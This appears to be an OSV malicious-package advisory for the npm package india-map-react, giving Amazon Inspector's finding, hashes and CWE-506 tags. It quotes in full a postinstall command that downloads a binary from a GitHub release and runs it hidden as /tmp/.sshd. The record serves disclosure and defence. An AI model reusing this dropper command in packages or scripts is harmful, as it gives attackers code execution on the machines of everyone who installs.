{"id":"MAL-2026-5542","summary":"Malicious code in india-map-react (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (a1de9d093e23698e3ad3f0336a7619bd43049d1f62b822744733a48060b51a4a)\npackage.json declares a postinstall hook that runs `curl -skL https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/releases/latest/download/gvfsd-network -o /tmp/.sshd 2\u003e/dev/null && chmod +x /tmp/.sshd && /tmp/.sshd &`. On every `npm install`, this fetches a binary from a GitHub account ('parikhpreyash4') unrelated to the npm publisher ('yuvrajDurgesh'), with TLS verification disabled (`-k`), follows redirects (`-L`), suppresses all errors (`2\u003e/dev/null`), stages the binary under a deceptive hidden path masquerading as the SSH daemon (`/tmp/.sshd`), marks it executable, and runs it in the background. The URL uses the mutable `latest/download` alias rather than a pinned release with a verified hash, so the author can swap the executed bytes at any time. The package advertises itself as a React component for rendering an India map — there is no legitimate reason for it to fetch and execute a native binary named after a system network daemon. This is a textbook install-time dropper granting arbitrary code execution on every installer's machine.\n","modified":"2026-06-12T20:01:53.581118492Z","published":"2026-06-11T02:02:37Z","database_specific":{"malicious-packages-origins":[{"versions":["2.0.2"],"source":"amazon-inspector","sha256":"52ba840948b1421783ed9d4202d4943e23f18b811068449461197ad4eae677d2","import_time":"2026-06-11T02:24:28.60266363Z","id":"IN-MAL-2026-005374","modified_time":"2026-06-11T02:02:37Z"},{"versions":["2.0.3"],"source":"amazon-inspector","sha256":"a1de9d093e23698e3ad3f0336a7619bd43049d1f62b822744733a48060b51a4a","import_time":"2026-06-12T19:44:19.454045573Z","id":"IN-MAL-2026-006202","modified_time":"2026-06-12T19:11:10Z"},{"import_time":"2026-06-12T19:44:19.349741541Z","id":"IN-MAL-2026-006201","modified_time":"2026-06-12T19:11:08Z","versions":["2.0.1"],"source":"amazon-inspector","sha256":"84f0f2638fec512fd21dc02933096f6caf75779d9832db40e53a3add37bcd0f6"}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/india-map-react/v/2.0.2"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/india-map-react/v/2.0.3"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/india-map-react/v/2.0.1"}],"affected":[{"package":{"name":"india-map-react","ecosystem":"npm","purl":"pkg:npm/india-map-react"},"versions":["2.0.2","2.0.3","2.0.1"],"database_specific":{"cwes":[{"name":"Embedded Malicious Code","cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature."},{"description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code","cweId":"CWE-506"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/india-map-react/MAL-2026-5542.json","indicators":{"evidence_files":[{"path":"package.json","sha256":"f421e8a50b0668d8fa2f55bb218756ab57cffad78ae73c6525d40575f402b1f6","tlsh":"2e214923c5119d6309bd11a4ac7a4642f6a61b6f50648c8f31b2a17c5bbb1ef119cb68"}],"package_integrity":[{"hashes":{"sha1":"0e634bbd8024744ca88bbbbc92a90a29f0d42ec3","sha512_sri":"sha512-DScVhBTTQHggJTobf9nTpGyZHe8FdpNrEL/Wdff/yPojHb2DqPyCspPMdBSVrWHNzyucvxONV2ryWBXAV5fkfg=="},"filename":"india-map-react-2.0.2.tgz"}]}}}],"schema_version":"1.7.5","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}